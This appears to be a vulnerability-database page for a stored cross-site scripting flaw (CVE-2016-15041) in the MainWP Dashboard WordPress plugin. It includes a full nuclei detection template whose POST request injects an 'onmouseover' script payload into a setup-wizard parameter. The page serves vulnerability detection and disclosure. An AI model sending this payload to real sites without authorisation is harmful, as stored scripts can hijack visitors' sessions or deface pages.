Browse / CVEs / CVE-2016-15041
CVE-2016-15041
MainWP Dashboard <= 3.1.2 - Stored Cross-Site Scripting
MainWP Dashboard – The Private WordPress Manager for Multiple Website Maintenance plugin for WordPress versions up to 3.1.2 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in 'mwp_setup_purchase_username' parameter, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.
Impact
Unauthenticated attackers can inject scripts that execute in users' browsers, potentially leading to session hijacking, defacement, or redirection.
Fix
Update to the latest version of the plugin that addresses this vulnerability.
How to confirm it
Send: GET /wp-content/plugins/mainwp-vuln/readme.txt
Positive when: status_code == 200 and compare_versions(version, '<= 3.1.2')
Send: GET /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension ; POST /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce={{nonce}}
Positive when: contains in body_1 "MainWP" and "Setup Wizard" and "mwp_setup_purchase_username" AND contains in body_3 "onmouseover=alert(document.domain) x" AND status 200Run it with nuclei: nuclei -id CVE-2016-15041 -u <target>
The full check
id: CVE-2016-15041
info:
name: MainWP Dashboard <= 3.1.2 - Stored Cross-Site Scripting
author: flame
severity: high
description: |
MainWP Dashboard – The Private WordPress Manager for Multiple Website Maintenance plugin for WordPress versions up to 3.1.2 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in 'mwp_setup_purchase_username' parameter, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.
impact: |
Unauthenticated attackers can inject scripts that execute in users' browsers, potentially leading to session hijacking, defacement, or redirection.
remediation: |
Update to the latest version of the plugin that addresses this vulnerability.
reference:
- https://klikki.fi/mainwp-admin-panel-unauthenticated-stored-xss/
metadata:
verified: true
max-request: 4
fofa-query: "/wp-content/plugins/mainwp/"
tags: cve,cve2016,mainwp,wordpress,xss,wp,wp-plugin,vkev,vuln
variables:
randstr: "{{rand_base(8)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/mainwp-vuln/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- compare_versions(version, '<= 3.1.2')
condition: and
internal: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- raw:
- |
GET /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce={{nonce}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
mwp_setup_purchase_username={{randstr}}"+onmouseover%3Dalert(document.domain)+x%3D"&mwp_setup_purchase_passwd=test&save_step=1
- |
GET /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '_wpnonce" value="([a-zA-Z0-9]+)"'
internal: true
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- "MainWP"
- "Setup Wizard"
- "mwp_setup_purchase_username"
condition: and
- type: word
part: body_3
words:
- ' onmouseover=alert(document.domain) x'
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from